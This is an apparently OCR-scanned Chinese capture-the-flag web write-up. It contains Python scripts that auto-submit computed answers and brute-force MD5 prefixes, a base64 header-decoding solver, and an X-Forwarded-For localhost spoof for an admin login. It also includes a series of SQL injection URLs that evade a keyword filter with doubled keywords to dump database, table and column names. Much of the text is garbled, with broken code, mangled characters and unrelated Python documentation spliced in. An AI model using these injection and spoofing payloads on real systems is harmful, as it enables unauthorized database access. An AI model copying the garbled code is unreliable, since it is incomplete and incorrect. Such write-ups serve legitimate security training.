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import re
import sys
f

line

while line

line f.readline

if line
a=re.search line).end
b=re.search line).start

c=line[a:b
sys.stdout.write C
#flag{mayiyahei1965ae7569}

pythonf{ig:

import re

import requests
url
s=requests.session

html=s.get

numl=re.search html).end
html=html[numl

num=re.search html) .start

html=html[ :num
result=s.post(url,data
print(result.text

P20 bR B i 4 -

html

text


http://123.206.31.85:10002/

1, search() 5 .start

<html >

Chead>

Ctitlexd titler

</head>

<body>

<p>

Wife ZA4v 2 M ok e F A, RS B lageR ! <brs>
B&2¥#912583+103% (628B4+8134) </p>

<form action="" method="post">

M5 <input type="text" name="result"/>
input type="submit" value="#i%"/>

</form>

</ body>

</html 2

search () iXH & Flsearch (pattern=", string=") H¥CRE </p> H—MFERHFHIME.
(HH: F html=html[:num] ¥ B KR IRBER) .
.start() BUFKALE .end RERNLE .

2, eval() 5 post O

The:
eval()-K 777 8 st A BRI AR RAE IR B THE LR

post (url=", data=") Fpost/y &y il L, 4% #data B EA M T .
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substr (md5 (| D, 0, 6) = dbc582 #&ZEH |

import hashlib

def get_token(txt):
ml = hashlib.md5()
ml.update(txt.encode("utf-8"))
token = ml.hexdigest()
return token
for i in range(0,999999):
if get_token(str(i))[@:6] == '89240b"':
print(i)
break

or



import hashlib

def get_md5(txt):
ml=hashlib.md5()
ml.update(txt.encode('utf-8"'))
m2=ml.hexdigest()

return m2

for i in range(0,999999):

if get md5(str(i))[0:6] == '89240b':
print(i)
break
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Wrong answer!

Fburp3l

Response

_[RawI Headers I Hex I HTML T Render }

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 28 Oct 2019 O7:26:34 GNMT

Content-Type: text/html

Connection: keep-alive

Keep—Alive: timeout=60

Expires: Thu, 19 Nov 1981 08:5Z:00 GMT

Cache—Control: no-store, no—cache, must-revalidate, post-check=0, pre-check=0
Pragma: no—cache

Password: ZmxhZ3sZYTYzMTF IZmETMTJhZmN jMDUxNmU1ZDkyNzYwNGMOYX0=
Hint: Seeing is not believing, maybe you need to be faster!
Content-Length: 272
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Can you do it faster? you cost [2B7930848] msec


http://123.206.31.85:10013/index.php

import re

import requests

import base64

url

s=requests.session
html=s.get(url
html=s.get(url).headers
psw=html
a=base64.bb64decode (psw
print(a

a=a

print(a
b=s.post(url,data a
print(b).text
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import time
import hashlib
import requests
import random

urllen=160
s=requests.session()

while urllen==160:

b=time.time()#+1  JE: XE[N7+1 0 EZEF BN AW BB RENL, FIAEAHN.
tim=str(int(b))

a=hashlib.md5()

a.update(tim.encode("utf-8"))

c=a.hexdigest()

url="http://123.206.31.85:10020/ ?key="+str(c)+str(random.randint(1,9))

print url

html=s.get(url).text

urllen=len(html)

print html

pythonfiiA:  (GREUM T _E KI3h 3% SCHRAD)

import hashlib
import re
import requests

urllen=160##E gl # £ /& 160

while urllen==160:# IR T AKET 2160, tiHiflagHiF
s=requests.session()
url="http://123.206.31.85:10020/"
a=s.get(url).text

a=a[27:60]

url2="http://123.206.31.85:10020/ ?key="+str(a)
html=s.get(url2).text

urllen=len(html)

print html.encode("utf-8")
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class str(object="")
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AT 758 str() F3%=RICf:

>»>»>s = "RUNOOB*

>>> str(s)

'RUNOOB"

>»» dict = {"runoob': 'runoob.com', 'google': 'google.com'};
>>»> str(dict)

"{'google': 'google.com', 'runocob': 'runocob.com'}"
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Python int() EA%4
lI'_PyThon HEERE

Haid

int() BT TR TR AT,

51

EARRER T2 int() iR

>>>int() # AEANZER, FEERe
]

>>>» int(3)

3

>»» int(3.6)

3

>>> int('12',16) # MBETEHbaseMif, REUIFFEMP AT A, 12 A 168H
18

>»» int('exa’',16)

10

>»» int('10',8)
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1, ZiksqREN, EEM—N05, MITHRE.

http://123.206.31.85:10018/1ist.php?id=1"

ezsq|
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http://123.206.31.85:10018/1ist.php?id=1"--+

ezsq| List
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php
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http://123.206.31.85:10018/1ist.php?id=1" union --+
http://123.206.31.85:10018/1ist.php?id=1" select --+
http://123.206.31.85:10018/1ist.php?id=1" or --+ /| B

4, sqlVEAN

http://123.206.31.85:10018/1ist.php?id=0"' ununionion seselectlect 1,2,3 --+
[IAREE, Ui FBECR3.

what do you do?

2

http://123.206.31.85:10018/1ist.php?id=0"' ununionion seselectlect 1,2,database() --+
/1B Aweb18.

what do you do?

2

webl18

http://123.206.31.85:10018/1ist.php?id=0" ununionion seselectlect 1,2,group_concat(table_name
)Yfrom infoorrmation_schema.tables where table_schema='web18' --+

[/ MBERL NctfRiflag.

what do you do?
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http://123.206.31.85:10018/1ist.php?id=0"' ununionion seselectlect 1,2,group_concat(column_
name) from infoorrmation_schema.columns where table_name='flag' --+

//%4 Nidfiflag.
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TER AR

Username:‘l ‘

Passwurd:‘. ‘

Submit Reset
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x—%orwarded—For: 127.0.0.1

user=admin&pass=test123
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